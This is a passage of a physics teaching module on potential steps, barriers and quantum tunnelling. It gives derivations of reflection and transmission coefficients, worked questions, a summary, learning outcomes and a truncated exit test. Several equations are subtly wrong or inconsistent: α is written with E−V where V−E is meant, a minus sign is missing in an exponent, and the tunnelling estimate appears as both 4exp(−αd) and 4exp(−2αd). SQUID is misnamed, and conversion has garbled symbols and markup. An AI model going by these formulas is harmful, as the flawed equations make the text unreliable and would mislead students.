calculation of the reflection and transmission coefficients, R and T:\n\n$R = \\left(\\dfrac{k_1-k_2}{k_1+k_2}\\right)^2$(Eqn 9)\n\n$T = \\dfrac{4k_1k_2}{(k_1+k_2)^2}$(Eqn 10)\n\nIn the case E < V, the quantum predictions for R and T agree with the classical predictions but there are important new features. There is always a finite probability of particles being found in the classically forbidden region beyond the step where the wavefunction has an exponential shape and the particle has no defined momentum. The theory allows a calculation of the penetration depth D in terms of E and V (Equation 17).\n\n$D = \\dfrac{1}{2\\alpha} = \\dfrac{\\hbar}{2\\sqrt{2m(V-E)\\os}}$(17)",
null,
"Figure 7 The density function P(x) in the region of a potential step at x = 0. The incident beam is from the left. The energy E of each particle is less than the height of the step V. In region (I), there is a pattern of maxima and minima due to the interference between incident and reflected waves of equal amplitude. In region (II), the density decreases exponentially.",
null,
"Figure 4 The particle density function P(x) in the region of a potential step (E > V). In region (I), P(x) shows a pattern of alternating maxima and minima caused by the interference of the incident and reflected waves.\n\nCritical elements in the theory are the selection of appropriate solutions of the Schrödinger equation in the regions before and after the potential step and the matching of the solutions at the boundary with both ψ(x) and (x)/dx being continuous at the boundary.\n\nThe wave nature of material particles is made very clear by the appearance of ‘fringes’ caused by the interference of the incident and reflected waves. There is a regular pattern of points where the particle density is a minimum separated by points where the density is maximum (Figure 4 and Figure 7).\n\n# 4 Reflection and transmission at a barrier when E < V",
null,
"Figure 8 A potential barrier with height V. Particles with energy E are incident from the left and, according to classical theory, are reflected at the point P.\n\n## 4.1 Classical description of the problem\n\nWe can now model a slightly more complicated physical situation by forming a potential barrier from two closely spaced steps. This is shown in Figure 8. The particles approach from the left and encounter first a negative force from point A to point B; from B to C there is no force, and from C to D there is a positive force. Particles with energy E < V will reach point P, according to classical mechanics, before being reflected back. The classical reflection coefficient for a barrier of this nature is one.",
null,
"Figure 9 A schematic representation of a potential barrier width d. The energy E of each particle is less than the height of the barrier V.\n\n## 4.2 The Schrödinger equation and the solutions in each region\n\nA quantum treatment of this barrier problem is required if any of the distances AB, BC, CD in Figure 8 are of the same order as, or less than, the de Broglie wavelength of the incident particles. We will assume that the distances AB and CD are the ‘small’ ones and the barrier is then drawn schematically as in Figure 9.\n\nIn most physical situations, the width of the barrier, d, is greater than the de Broglie wavelength. The region x < 0 is designated (I), the region 0 ≤ x < d designated (II) and the region xd designated (III).\n\nAs usual, particles are incident on the barrier from the left with energy E. The solutions of the Schrödinger equation in regions (I) and (III), where the potential is zero, have the same form. You can refer back to Subsection 2.2 and Equation 2,\n\nψ1(x) = Aexp(ik1x) + Bexp(−ik1x)(Eqn 2)\n\ni.e.\n\nin region (I)ψ1 (x) = Aexp(ikx) + Bexp(−ikx)\n\nin region (III)ψ3 (x) = Gexp(ikx) + Hexp(−ikx)\n\nwith$k = \\dfrac{\\sqrt{2mE\\os}}{\\hbar}$\n\nWe can immediately put H = 0 because particles cannot return from infinity. The general solution to the Schrödinger equation in region (II), where E < V, was derived in Subsection 3.2:\n\nin region (II)ψ2(x) = Cexp(−αx) + Dexp(αx)\n\nwith$\\alpha = \\dfrac{\\sqrt{2m(V-E)\\os}}{\\hbar}$\n\nNotice that we have included the rising exponential term here because region (II) does not extend to infinity.\n\nIn summary, we have the general forms of the wavefunctions in the three regions:\n\nin region (I)ψ1(x) = Aexp(ikx) + Bexp(−ikx)(20a)\n\nin region (II)ψ2(x) = Cexp(−αx) + Dexp(αx)(20b)\n\nin region (III)ψ3 (x) = Gexp(ikx)(20c)\n\nwith$k = \\dfrac{\\sqrt{2mE\\os}}{\\hbar}\\quad\\text{and}\\quad\\alpha = \\dfrac{\\sqrt{2m(E-V)\\os}}{\\hbar}$\n\n## 4.3 Relationships imposed by the boundary conditions\n\nThe situation now seems to be getting out of hand with five arbitrary complex constants and the boundary conditions to be applied at x = 0 and x = d. Matching the wavefunctions and their derivatives at the boundaries gives us four independent simultaneous equations which can, in principle, be solved for the four ratios B/A, C/A, D/A, and G/A. This piece of algebraic manipulation is extremely tedious, and we will not bore you with the details. We are interested mainly in the constant G because this tells us what the transmission coefficient is. We will quote the result and not even ask you to confirm it!\n\n$\\dfrac GA = \\dfrac{4k\\alpha\\exp(-\\alpha d)}{(k+i\\alpha)^2 - (k-i\\alpha)^2\\exp(-2\\alpha d)}$\n\nNow look closely at the denominator of this expression. We have already stated that the width of the barrier d is usually much greater than the de Broglie wavelength of the incident particles. This in turn makes the argument of the exponential large and the second term in the denominator negligibly small compared with the first term. To a very good approximation, we have the following expression:\n\n$\\dfrac GA = \\dfrac{4k\\alpha\\exp(-\\alpha d)}{(k+i\\alpha)^2}$(21)\n\nThis can be rewritten more conveniently as:\n\n$\\dfrac GA = \\dfrac{4\\exp(-\\alpha d)\\exp(-2i\\phi)}{(k/\\alpha+\\alpha/k)^2}$(22)\n\nQuestion T11\n\nShow that Equation 21 can be written in the form of Equation 22.\n\nWhat is the modulus of G/A when α = k?\n\n$\\dfrac GA = \\dfrac{4k\\alpha\\exp(-\\alpha d)}{(k+i\\alpha)^2}$(Eqn 21)\n\nand write the denominator in polar form:\n\n$k + i\\alpha = \\sqrt{k^2 + \\alpha^2}\\exp(i\\phi)$ with ϕ = arctan(α/k)\n\nTherefore :\n\n$\\dfrac GA = \\dfrac{4k\\alpha\\exp(-\\alpha d)\\exp(-2i\\phi)}{(k^2+\\alpha^2)} = \\dfrac{4\\exp(-\\alpha d)}{(k/\\alpha+\\alpha/k)}\\exp(-2i\\phi)$\n\nas required.\n\n$\\dfrac{\\lvert\\,G\\,\\rvert}{\\lvert\\,A\\,\\rvert} = \\dfrac{4\\exp(-\\alpha d)}{(k/\\alpha+\\alpha/k)}$\n\nWhen α = k, |G|/|A| = 2exp(−kd) and |G| = 2|A|exp(−kd).\n\nThe presence of the exponential factor exp(−αd) in the numerator of Equation 22 ensures that |G| / |A| is very small and very sensitive to the value of d.\n\nWe can now make similar approximations in region (II), and we find that the wavefunction is dominated by the falling exponential term, ψ2(x) = Cexp(−αx), and the rising exponential makes a negligible contribution. The ratios B/A and C/A are then to a good approximation the same as for the potential step (Equations 14 in Subsection 3.3). In summary, we have the following results:\n\n$\\dfrac BA \\approx \\dfrac{k-i\\alpha}{k+i\\alpha} = \\exp(-2i\\phi)$and $\\dfrac{\\lvert\\,B\\,\\rvert}{\\lvert\\,A\\,\\rvert}\\approx 1$(23a)\n\n$\\dfrac CA \\approx \\dfrac{2k}{k+i\\alpha} = 2\\cos\\phi \\exp(-i\\phi)$and $\\dfrac{\\lvert\\,C\\,\\rvert}{\\lvert\\,A\\,\\rvert}\\approx 2\\cos\\phi$(23b)\n\n$\\dfrac DA \\approx 0$(23c)\n\n$\\dfrac GA = \\dfrac{4\\exp(-\\alpha d)}{(k/\\alpha+\\alpha/k)^2}\\exp(-2i\\phi)$and $\\dfrac{\\lvert\\,G\\,\\rvert}{\\lvert\\,A\\,\\rvert} \\approx \\dfrac{4\\exp(\\alpha d)}{k/\\alpha + \\alpha/k}$(23d)\n\nwith$\\tan\\phi = \\dfrac{\\alpha}{k}$\n\n## 4.4 The wavefunctions in each region and the physical interpretation\n\nThe wavefunctions in the three regions are given by Equations 20, with the ratios of the constants given by Equations 23. Remember that we have made the assumption that the width of the barrier is much greater than the de Broglie wavelength. In region (I), the particles are represented by travelling waves, the incident particles by Aexp(ikx) and the reflected particles by Bexp(−ikx). The density of the reflected particles, |B|2, is almost equal to the density of the incident particles, |A|2, since |B/A| ≈ 1. In the classically forbidden region (II), the wavefunction is dominated by the falling exponential so that the density of particles is given approximately by |ψ2(x)|2 = |C|2exp(−2αx). Finally, in region (III), the transmitted particles are represented by the travelling wave Gexp(ikx), where |G| is much smaller than |A|. The density of the transmitted particles is consequently very much smaller than the density of the incident particles.\n\nQuantum mechanics unambiguously predicts that particles can tunnel through a potential barrier and can be observed with reduced density but with their original momentum. This process is known as quantum tunnelling.\n\nQuestion T12\n\nShow that the density of particles in region (III) is constant and is given by $16\\times\\lvert\\,A\\,\\rvert^2\\dfrac{\\exp(-2\\alpha d)}{(k/\\alpha+\\alpha/k)^2}$.\n\nThe density of particles in region (III) is given by P3(x) = ψ3*(x)ψ3(x), where ψ3(x) = Gexp(ikx).\n\nThereforeP3(x) = G*exp(−ikx)Gexp(ikx) = |G|2exp0 = |G|2\n\nUsing Equation 23,\n\n$\\dfrac GA = \\dfrac{4\\exp(-\\alpha d)}{(k/\\alpha+\\alpha/k)}\\exp(-2i\\phi)$(Eqn 23)\n\nand\n\n$\\dfrac{\\lvert\\,G\\,\\rvert}{\\lvert\\,A\\,\\rvert} = \\dfrac{4\\exp(-\\alpha d)}{(k/\\alpha+\\alpha/k)}$\n\nwe get: $P_3(x) = \\dfrac{\\lvert\\,A\\,\\rvert^2 16\\exp(-2\\alpha d)}{(k/\\alpha+\\alpha/k)}$ as required.",
null,
"Figure 10 The particle density function P(x) near a potential barrier of height V. Particles are incident from the left, each with energy E less than V.\n\nAll these facts can be neatly represented by the graph of the density function P(x) = |ψ(x)|2 shown in Figure 10. The form of P(x) in regions (I) and (II) is very similar to that shown in Figure 7 for the potential step, because of the realistic approximations described in Subsection 4.3, so there is no need to repeat the calculations. In region (I), there is an almost perfect pattern due to the interference between incident and reflected waves of almost equal amplitude. At the boundary, x = d, P(x) has not quite fallen to zero and joins smoothly to its constant value in region (III). i\n\n## 4.5 Transmission in the quantum model",
null,
"Figure 9 A schematic representation of a potential barrier width d. The energy E of each particle is less than the height of the barrier V.\n\nThe method for finding the particle fluxes and hence the reflection and transmission coefficients follows from Equation 8,\n\n$F = \\lvert\\,A\\,\\rvert^2\\dfrac{\\hbar k}{m}$(Eqn 8)\n\nand the pattern set in Subsections 2.6 and 3.5. The transmission coefficient for the potential barrier illustrated in Figure 9 is given by:\n\n$T = \\dfrac{\\text{flux of transmitted particles}}{\\text{flux of incident particles}}$\n\nThe incident flux in region (I) is given by $\\vert\\,A\\,\\rvert^2\\hbar k/m$ and the transmitted flux in region (III) by $\\vert\\,G\\,\\rvert^2\\hbar k/m$. Consequently:\n\n$T = \\dfrac{\\vert\\,G\\,\\rvert^2}{\\vert\\,A\\,\\rvert^2}$\n\nEquation 21,\n\n$\\dfrac GA = \\dfrac{4k\\alpha\\exp(-\\alpha d)}{(k+i\\alpha)^2}$(Eqn 21)\n\ngives the constant G in terms of A, and from this we can get the square modulus of G (see, for example, Question T12):\n\n$\\lvert\\,G\\,\\rvert^2 = \\dfrac{\\lvert\\,A\\,\\rvert^2 16\\exp(-2\\alpha d)}{(k/\\alpha+\\alpha/k)^2}$\n\nIt follows immediately that:\n\nThe transmission coefficient for a potential barrier :\n\n$T \\approx \\dfrac{16\\exp(-2\\alpha d)}{(k/\\alpha+\\alpha/k)^2}$(24)\n\nIn many applications, the incident particle angular wavenumber k, and the factor α which characterizes the wavefunction inside the barrier, are the same order of magnitude. The denominator then takes a value of about 4, and the transmission coefficient has the approximate value:\n\nAn approximate value for the transmission coefficient when kα\n\nT ≈ 4exp(−αd)(25)\n\nwhere $\\alpha = \\sqrt{2m(V-E)\\os}{\\hbar}$ and d is the barrier width.\n\nThis is a good equation to remember, because it usually gives a good estimate of the transmission coefficient of a barrier. The most important factor in calculating T is the exponential; remember that exponential functions can change by orders of magnitude for relatively small changes in the argument.\n\nThe reflection coefficient of the barrier R is of course very close to one because T is small with the approximations we have used. Application of the approximate formulae for |B| / |A| given in Equations 23, also gives R ≈ 1; a better approximation is obtained by using Equation 25 and putting R = 1 − T.\n\nWe can show that the phenomenon of barrier penetration is consistent with the Heisenberg uncertainty principle $\\Delta E\\,\\Delta t \\approx \\hbar$.\n\nThe Heisenberg uncertainty principle tells us that a particle can ‘borrow’ energy ∆E sufficient to surmount the barrier provided it ‘repays’ the debt in a time ∆t of order $\\hbar/\\Delta E$. The value of ∆E is given by VE. Let us assume a typical barrier of width d = 2/α so that T ≈ 4exp(−4) = 0.07 (using Equation 25).\n\nWe estimate ∆t from the speed of the particle:\n\n$\\Delta t \\approx \\dfrac{d}{\\upsilon}\\quad\\text{and}\\quad\\upsilon = \\dfrac pm = \\dfrac{\\hbar k}{m}$\n\nHence$\\Delta t \\approx \\dfrac{2/\\alpha}{\\hbar k/m} = \\dfrac{2m}{\\hbar k\\alpha}$\n\nHowever$\\alpha = \\dfrac{\\sqrt{2m(E-V)\\os}}{\\hbar}\\quad\\text{and}\\quad k = \\dfrac{\\sqrt{2mE\\os}}{\\hbar}$\n\nSubstituting these gives $\\Delta t \\approx \\dfrac{\\hbar}{\\sqrt{E-V\\os}}$\n\nBoth E and VE are of the same order of magnitude, so that:\n\n$\\Delta t \\approx \\dfrac{\\hbar}{V-E} \\approx \\dfrac{\\hbar}{\\Delta E}$\n\nwhich is the required relation.",
null,
"Figure 11 The potential barrier ‘seen’ by an α -particle in a radioactive nucleus.\n\n## 4.6 Examples of quantum tunnelling\n\nThe idea of tunnelling was first used to explain α–decay in radioactive nuclei. α -particles may be formed within a nucleus. In heavy nuclei they may be formed with enough energy to escape. i They are held within the nucleus by a potential barrier which consists of an attractive part (due to nuclear forces), and a repulsive part (due to the electrostatic repulsion between the α–particle and the residual nucleus), as shown schematically in Figure 11.\n\nThis combination produces a potential well in which in which the α–particle is trapped. Notice that the energy is positive and states of this same energy exist outside the potential well of the nucleus, so the α–particle can tunnel out of its potential well and escape from the nucleus. This is alpha_decayα–decay.",
null,
"Figure 12 The variation in decay rate with α–particle energy for a number of radioactive nuclei.\n\nThe shape of the barrier is more complex than we have envisaged so far, but it should be clear that the higher the energy of the α–particle, the more likely it will be to penetrate the barrier, both directly because of the increased energy, and indirectly because of the decreased width of the barrier. These two effects lead to an extremely wide variation in decay rates for a relatively small change in energy. Figure 12 shows a variation of a factor 1024 in decay rates λ for a change of a factor 2 in energy. i\n\nThis same idea, used in reverse, suggested to Cockcroft and Walton that it would be possible to induce nuclear reactions using low–energy protons (about 0.5 MeV) without sufficient energy to overcome the electrostatic repulsion. This began the whole study of nuclear physics using particle accelerators.\n\nThe same process is involved in the nuclear reactions that supply the Sun’s energy. The principal reaction here involves the eventual formation of helium by the fusion of hydrogen nuclei (protons). It is essential to take tunnelling into account to be able to explain the rate of energy production. In laboratory fusion experiments the same principle allows nuclear fusion at attainable temperatures.",
null,
"Figure 9 A schematic representation of a potential barrier width d. The energy E of each particle is less than the height of the barrier V.\n\nAn example of quantum tunnelling occurs when an electric current passes through a junction made by twisting two copper wires together. The surface of the copper, unless it is newly cleaned, is always covered with a thin layer of oxide – an insulator – so that in classical physics no current would flow; the potential energy of the electrons varies in the same way as in Figure 9. However, since the oxide layer is very thin, it is possible for electrons to tunnel through the barrier.\n\nA development of this idea is the tunnel diode; in this device, the height of the potential barrier between two semiconductors is controlled externally, and the physical size of the junction is so small that the flow of electrons can be turned on or off very rapidly, within a few picoseconds. Further developments using superconductors have led to the Josephson junction and the SQUID (semiconducting quantum interference device), which can measure magnetic fields as small as 10−15 T.\n\nThe scanning tunnelling electron microscope was developed by Binnig and Rohrer, who were awarded the Nobel Prize in 1986. This remarkable device works by the tunnelling of electrons from the surface of a sample to the tip of a very fine needle. It is so sensitive that the detail of the surface can be resolved to distances much less than an atomic radius.\n\n## 4.7 Summary of Section 4",
null,
"Figure 10 The particle density function P(x) near a potential barrier of height V. Particles are incident from the left, each with energy E less than V.\n\nThis section describes one of the most powerful predictions of quantum mechanics. We have seen that material particles can penetrate into classically forbidden regions due to their wave nature. Here we go further and show that particles can penetrate through classically forbidden barriers (Figures 8 and 9). In most realistic situations, the width of the barrier is such that the transmission coefficient is small and considerable simplifications can be made in the theory. The nature of the particle wavefunctions is described in the regions before the barrier, inside the barrier and after the barrier. Matching the wavefunctions at the two boundaries allows the particle density ratios to be calculated. A graph of the particle density function near the barrier is given in Figure 10. Three features are important:\n\n• The interference pattern due to the incident and reflected waves;\n• The exponential decay within the barrier;\n• The constant density beyond the barrier.\n\nFinally, good approximations are derived for the transmission coefficient T. In our approximation, T is dominated by the exponential factor exp(−2αd).\n\n# 5 Closing items\n\n## 5.1 Module summary\n\n1\n\nA particle with kinetic energy E approaches a step where the potential increases by V. Classical mechanics predicts that if E > V then the particle will always pass over the step.\n\n2\n\nIf the dimensions of the step are of the same order or less than the de Broglie wavelength of the incident particle, then quantum mechanics rather than classical mechanics must be used.",
null,
"Figure 2 A schematic representation of a potential step. The distance over which the force acts is assumed to be negligible. The total energy of the particle is E.\n\n3\n\nA potential step where E > V is shown in Figure 2. The solutions of the Schrödinger equation are:\n\nin region (I)ψ1 (x) = Aexp(ik1x) + Bexp(−ik1x)(Eqn 4a)\n\nin region (II)ψ2 (x) = Cexp(ik2x)Eqn (4b)\n\nwith$k_2 = \\sqrt{2mE\\os}/\\hbar\\quad\\text{and}\\quad k_2 = \\sqrt{2m(E-V)\\os}/\\hbar$\n\nThe ratios of the coefficients are determined by boundary conditions. The wavefunction i and its slope must both be continuous at x = 0. This gives:\n\n$\\dfrac BA = \\dfrac{k_1-k_2}{k_1+k_2}$(Eqn 7a)\n\n$\\dfrac CA = \\dfrac{2k_1}{k_1+k_2}$(Eqn 7b)\n\n4\n\nThe wavefunction ψ1(x) represents the incident particles, with density |A|2 per unit length, moving with momentum $\\hbar k_1$ in the positive x–direction, and the reflected particles, with density |B|2 moving with momentum $-\\hbar k_1$. The wavefunction ψ2(x) represents the transmitted particles, of density |C|2, moving with momentum $\\hbar k_2$.\n\n5\n\nFor a wavefunction ψ(x) = Aexp(ikx), which is a momentum eigenfunction, the flux of particles is given by\n\n$F = \\vert\\,A\\,\\rvert^2\\dfrac{\\hbar k}{m}$(Eqn 8)\n\n6\n\nAt a potential step, the reflection coefficient R and the transmission coefficient T are defined:\n\n$R = \\dfrac{\\text{flux of reflected particles}}{\\text{flux of incident particles}}\\quad\\text{and}\\quad T = \\dfrac{\\text{flux of transmitted particles}}{\\text{flux of incident particles}}$",
null,
"Figure 4 The particle density function P(x) in the region of a potential step (E > V). In region (I), P(x) shows a pattern of alternating maxima and minima caused by the interference of the incident and reflected waves.\n\nIf E > V, quantum mechanics predicts:\n\n$R = \\left(\\dfrac{k_1-k_2}{k_1+k_2}\\right)^2$(Eqn 9)\n\n$T = \\dfrac{4k_1k_2}{(k_1+k_2)^2}$(Eqn 10)\n\nAs expected R + T = 1. The prediction that R > 0 when E > V is a direct contradiction of classical mechanics.\n\n7\n\nThe wave nature of particles is demonstrated by the particle density function P(x) in region (I), which shows the interference between the incident and reflected waves (Figure 4).\n\n8",
null,
"Figure 5 The function U(x) at a potential step. The height of the step V is greater than the energy E of each incident particle. According to classical mechanics, the particles reach the point P and are then reflected back.\n\nA potential step where E < V is shown in Figure 5. The solutions of the Schrödinger equation are:\n\nin region (I)ψ1(x) = Aexp(ik1x) + Bexp(−ik1x)(Eqn 13a)\n\nin region (II)ψ2(x) = Cexp(−αx)(Eqn 13b)\n\nwith$k_1 = \\sqrt{2mE\\os}/\\hbar\\quad\\text{and}\\quad\\alpha = \\sqrt{2m(V-E)\\os}/\\hbar$\n\nThe ratios of the constants are given by the boundary conditions at x = 0:\n\n$\\dfrac BA = \\dfrac{k_1-i\\alpha}{k_1+i\\alpha} = \\exp(-2i\\phi)$so that$\\dfrac{\\lvert\\,B\\,\\rvert}{\\lvert\\,A\\,\\rvert} = 1$(Eqn 14a)\n\n$\\dfrac CA = \\dfrac{2k_1}{k_1+i\\alpha} = 2\\cos\\phi\\exp(-\\phi)$so that $\\dfrac{\\lvert\\,C\\,\\rvert}{\\lvert\\,A\\,\\rvert} = 2\\cos\\phi$(Eqn 14b)\n\nwith$\\phi = \\arctan\\left(\\dfrac{\\alpha}{k_1}\\right)$\n\n9",
null,
"Figure 7 The density function P(x) in the region of a potential step at x = 0. The incident beam is from the left. The energy E of each particle is less than the height of the step V. In region (I), there is a pattern of maxima and minima due to the interference between incident and reflected waves of equal amplitude. In region (II), the density decreases exponentially.\n\nIn region (I), the wavefunction ψ1(x) represents the incident and reflected particles with the same density, |B|2 = |A|2.\n\nIn region (II), the wavefunction ψ2(x) is not a momentum eigenfunction and there is no flux of particles. The particle density function P(x) (Figure 7) shows a perfect interference pattern in region (I) and joins smoothly to the falling exponential in region (II). There is a finite probability of particles being observed in the classically forbidden region: P2(x) = 4cos2ϕexp(−2αx). At the penetration depth D = 1/(2α), the particle density is 1/e of its value at x = 0.\n\n10\n\nThe reflection coefficient at the step where E < V is given by:\n\n$R = \\dfrac{\\lvert\\,B\\,\\rvert^2}{\\lvert\\,A\\,\\rvert^2} = 1$(Eqn 18)\n\nThis agrees with the classical prediction.\n\n11",
null,
"Figure 9 A schematic representation of a potential barrier width d. The energy E of each particle is less than the height of the barrier V.\n\nA potential barrier with width d and V > E is shown schematically in Figure 9. The distances over which the potential is increasing or decreasing are assumed to be smaller than the de Broglie wavelength of the incident particles. The solutions of the Schrödinger equation are\n\nin region (I)ψ1(x) = Aexp(ikx) + Bexp(−ikx)(Eqn 20a)\n\nin region (II)ψ2(x) = Cexp(−αx) + Dexp(αx)(Eqn 20b)\n\nin region (III)ψ3 (x) = Gexp(ikx)(Eqn 20c)\n\nwith$k = \\dfrac{\\sqrt{2mE\\os}}{\\hbar}\\quad\\text{and}\\quad\\alpha = \\dfrac{\\sqrt{2m(E-V)\\os}}{\\hbar}$\n\nThe ratios of the constants are given by matching the wavefunctions and their slopes at the two boundaries.\n\nWith the assumption that d ≫ 1/α, the following approximations are valid:\n\n$\\dfrac BA \\approx \\dfrac{k-i\\alpha}{k+i\\alpha} = \\exp(-2i\\phi)$and $\\dfrac{\\lvert\\,B\\,\\rvert}{\\lvert\\,A\\,\\rvert}\\approx 1$(Eqn 23a)\n\n$\\dfrac CA \\approx \\dfrac{2k}{k+i\\alpha} = 2\\cos\\phi \\exp(-i\\phi)$and $\\dfrac{\\lvert\\,C\\,\\rvert}{\\lvert\\,A\\,\\rvert}\\approx 2\\cos\\phi$(Eqn 23b)\n\n$\\dfrac DA \\approx 0$(Eqn 23c)\n\n$\\dfrac GA = \\dfrac{4\\exp(-\\alpha d)}{(k/\\alpha+\\alpha/k)^2}\\exp(-2i\\phi)$and $\\dfrac{\\lvert\\,G\\,\\rvert}{\\lvert\\,A\\,\\rvert} \\approx \\dfrac{4\\exp(\\alpha d)}{k/\\alpha + \\alpha/k}$(Eqn 23d)\n\nwith$\\tan\\phi = \\dfrac{\\alpha}{k}$\n\n12",
null,
"Figure 10 The particle density function P(x) near a potential barrier of height V. Particles are incident from the left, each with energy E less than V.\n\nIn region (I), the wavefunction ψ1(x) represents both the incident and reflected particles with approximately the same density. In region (II), the wavefunction ψ2(x) is not a momentum eigenfunction. In region (III), the wavefunction ψ3(x) represents the transmitted particles. The density function P(x) (Figure 10) shows a typical interference pattern in region (I), falls exponentially in region (II) and joins smoothly to the constant value |G|2 in region (III).\n\n13\n\nThe transmission coefficient at a barrier where V > E is given by T = |G|2/|A|2 so that:\n\n$T \\approx \\dfrac{16\\exp(-2\\alpha d)}{(k/\\alpha+\\alpha/k)^2}$(Eqn 24)\n\nWhen α and k are of the same order of magnitude, a good approximation is T ≈ 4exp(−2αd). The transmission coefficient is normally much less than one so that the reflection coefficient R ≈ 1.\n\n14\n\nSubsection 4.6Quantum tunnelling also allows particles to tunnel into or out of a potential well. Such processes are responsible for nuclear fusion and also allow many technological developments.\n\n## 5.2 Achievements\n\nHaving completed this module, you should be able to:\n\nA1\n\nDefine the terms that are emboldened and flagged in the margins of the module.\n\nA2\n\nDescribe the motion of a particle at a potential step using classical mechanics. Identify the circumstances when quantum mechanics should be used rather than classical mechanics.\n\nA3\n\nRecall the form of the solutions of the Schrödinger equation for particles of energy E encountering an idealized potential step when E > V. Interpret the solutions in terms of the density and flux of the incident, reflected and transmitted particles.\n\nA4\n\nRecall conditions on the wavefunctions at a boundary, and use the conditions to determine the relations between the constants appearing in the wavefunctions.\n\nA5\n\nDerive expressions for the transmission and reflection coefficients at a potential step when E > V. Compare and contrast the predictions of quantum and classical mechanics.\n\nA6\n\nRecall the form of the solutions of the Schrödinger equation for particles of energy E encountering an idealized potential step when E < V. Interpret the solutions in terms of the density and flux of the incident and reflected particles. Explain how these solutions predict that particles can penetrate into the classically forbidden region.\n\nA7\n\nUse the theory to confirm that the reflection coefficient for a step is unity when E < V, in agreement with classical theory.\n\nA8\n\nRecall the form of the solutions of the Schrödinger equation for particles of energy E < V encountering an idealized potential barrier of width d. Interpret the solutions in terms of the density and flux of the incident, reflected and transmitted particles.\n\nA9\n\nUse the approximate formula for the transmission coefficient through a potential barrier.\n\nA10\n\nUse the quantum theory results to calculate fluxes of particles transmitted by, and reflected from, specified steps and barriers.\n\nA11\n\nOutline the use of barrier penetration, or tunnelling, in different physical situations.\n\nStudy comment You may now wish to take the following Exit test for this module which tests these Achievements. If you prefer to study the module further before taking this test then return to the topModule contents to review some of the topics.\n\n## 5.3 Exit test\n\nStudy comment Having completed this module, you should be able to answer the following questions, each of which tests one or more of the Achievements.\n\nNote We have used electron beams with energies in the eV region to illustrate the general principles of quantum mechanics applied to steps and barriers. This is an attempt to keep to a minimum the amount of repetitive arithmetic in the questions. You should be fully aware that similar examples can be generated using nuclear particles (e.g. protons or α–particles) with energies in the MeV region and lengths of the order of 10−15 m.\n\nQuestion E1 (A2 and A10)\n\nA beam of electrons, each with kinetic energy 5 eV, is incident on a step where the potential energy decreases by 2.5 eV. Calculate the transmission and reflection coefficients in the quantum model. What does classical mechanics predict? How can you decide which theory of mechanics to use?\n\nYou can find either the reflection coefficient or the transmission coefficient using Equation 9 or Equation 10,\n\n$R = \\left(\\dfrac{k_1-k_2}{k_1+k_2}\\right)^2$(Eqn 9)\n\n$T = \\dfrac{4k_1k_2}{(k_1+k_2)^2}$(Eqn 10)\n\nthen use R + T = 1.\n\n$k_1 = \\dfrac{\\sqrt{2mE\\os}}{\\hbar}\\quad\\text{and}\\quad k_2 = \\dfrac{\\sqrt{2m(E-V)\\os}}{\\hbar}$\n\nNote, you didn’t need to rush into unnecessary calculations!\n\nWe have E = 5 eV and V = −2.5 eV, so that EV = 1.5E.\n\nHence:$R = \\left(\\dfrac{\\sqrt{E\\os} - \\sqrt{1.5E\\os}}{\\sqrt{E\\os}+\\sqrt{1.5E\\os}}\\right)^2 = \\left(\\dfrac{1-\\sqrt{1.5\\os}}{1+\\sqrt{1.5\\os}}\\right)^2 = 0.01$\n\nbut R + T = 1, so that T = 1 − 0.01 = 0.99.\n\nSo 1% of the electrons are reflected and 99% of the electrons are transmitted at this falling step. The classical theory predicts that 100% of the electrons are transmitted. Quantum theory must be used if the distance over which the potential changes is of the same order or less than the de Broglie wavelength of the particles.\n\nQuestion E2 (A4, A5 and A7)\n\nExplain qualitatively how the boundary conditions on wavefunctions lead to Equations 5 and 6,\n\nA + B = C(Eqn 5)\n\nAk1Bk1 = Ck2(Eqn 6)\n\nVerify Equations 7,\n\n$\\dfrac BA = \\dfrac{k_1-k_2}{k_1+k_2}$(Eqn 7a)\n\n$\\dfrac CA = \\dfrac{2k_1}{k_1+k_2}$(Eqn 7b)\n\nfrom Equations 5 and 6, and derive expressions for the transmission and reflection coefficients when V < E.\n\nShow that for a potential step with V > E the ratio\n\n$\\dfrac BA = \\dfrac{k_10i\\alpha}{k_1+i\\alpha}\\quad\\text{where}\\quad\\alpha = \\dfrac{\\sqrt{2m(V-E)\\os}}{\\hbar}$\n\nHence show that |B| = |A| and the reflection coefficient is one.",
null,
"Figure 3 Boundary conditions at x = 0. Only (c) is allowed. (a) ψ1ψ2, (b) ψ1 = ψ2 but 1/dx2/dx, (c) ψ1 = ψ2 and 1/dx = 2/dx.\n\nRefer to Figure 3 and to Equations 4:\n\nin region (I)ψ1 (x) = Aexp(ik1x) + Bexp(−ik1x)(4a)\n\nin region (II)ψ2 (x) = Cexp(ik2x)(4b)\n\nThe wavefunctions must obey the following conditions if the potential energy is finite. First, the wavefunction itself must be continuous everywhere, and second, the derivative or slope of the wavefunction must be continuous. This means that at the boundary, x = 0, between regions (I) and (II):\n\n$\\psi_1(0) = \\psi_2(0)\\quad\\text{and}\\quad\\left.\\dfrac{d\\psi_1(x)}{dx}\\right\\rvert_{x=0} = \\left.\\dfrac{d\\psi_2(x)}{dx}\\right\\rvert_{x=0}$\n\nSo we have two equations to solve for the two ratios B/A and C/A.\n\nStart with Equations 5 and 6: A + B = C and Ak1Bk1 = Ck2.\n\nSubstitute for C:\n\n(AB)k1 = (A + B)k2\n\nsoA(k1k2) = B(k1 + k2)\n\ni.e.$\\dfrac BA = \\dfrac{k_1 - k_2}{k_1+k_2}$ as required.\n\nSubstitute for B:\n\n$A + A\\left(\\dfrac{k_1 - k_2}{k_1+k_2}\\right) = C$\n\nsoA(k1 + k2 + k1k2) = C(k1 + k2)\n\ni.e.$\\dfrac CA = \\dfrac{2k_1}{k_1+k_2}$ as required.\n\nThe reflection and transmission coefficients follow immediately using the arguments leading up to Equations 9 and 10:\n\n$R = \\dfrac{\\lvert\\,B\\,\\rvert^2}{\\lvert\\,A\\,\\rvert^2} = \\left(\\dfrac{k_1 - k_2}{k_1+k_2}\\right)^2\\quad\\text{and}\\quad T = \\dfrac{\\lvert\\,C\\,\\rvert^2k_2}{\\lvert\\,A\\,\\rvert^2k_1} = \\dfrac{4k_1k_2}{(k_1+k_2)^2}$\n\nWhen V > E, the angular wavenumber k2 is purely imaginary, so we make the substitution k2 = with α real\n\nand positive. The result |B| = |A| follows immediately, since\n\n|B| = |k1| = k12 + α2 and |A| = |k1 + | = k12 + α2\n\nand in consequence R = 1.\n\n(Reread Subsections 2.3, 3.2 and 3.3 if you had difficulty with this question.)\n\nQuestion E3 (A3)\n\nFind a suitable wavefunction to describe the incident electrons in Question E1 if the current is 10 µA.\n\n[A beam of electrons, each with kinetic energy 5 eV, is incident on a step where the potential energy decreases by 2.5 